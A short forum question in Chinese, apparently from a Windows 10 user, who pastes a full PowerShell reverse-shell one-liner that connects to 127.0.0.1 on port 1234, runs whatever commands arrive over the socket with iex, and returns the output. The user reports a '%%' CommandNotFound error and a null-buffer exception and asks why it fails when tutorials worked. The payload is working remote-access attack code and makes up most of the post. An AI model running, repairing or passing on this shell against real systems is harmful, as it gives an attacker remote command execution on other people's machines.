我在 win 10 上的 cmd 上运行此代码
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
但我得到了这个错误
%% : 术语“%%”未被识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，或者如果包含路径，请验证路径是否正确，然后重试。在第 1 行 char:127 + ... 3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};whil ... + ~~ + CategoryInfo : ObjectNotFound: (%%:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
使用“3”个参数调用“Read”时发生异常：“值不能为空。参数名称：缓冲区” 行号：1 字符：140 + ... 5535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException 知道为什么会这样吗？我看过一些教程，效果很好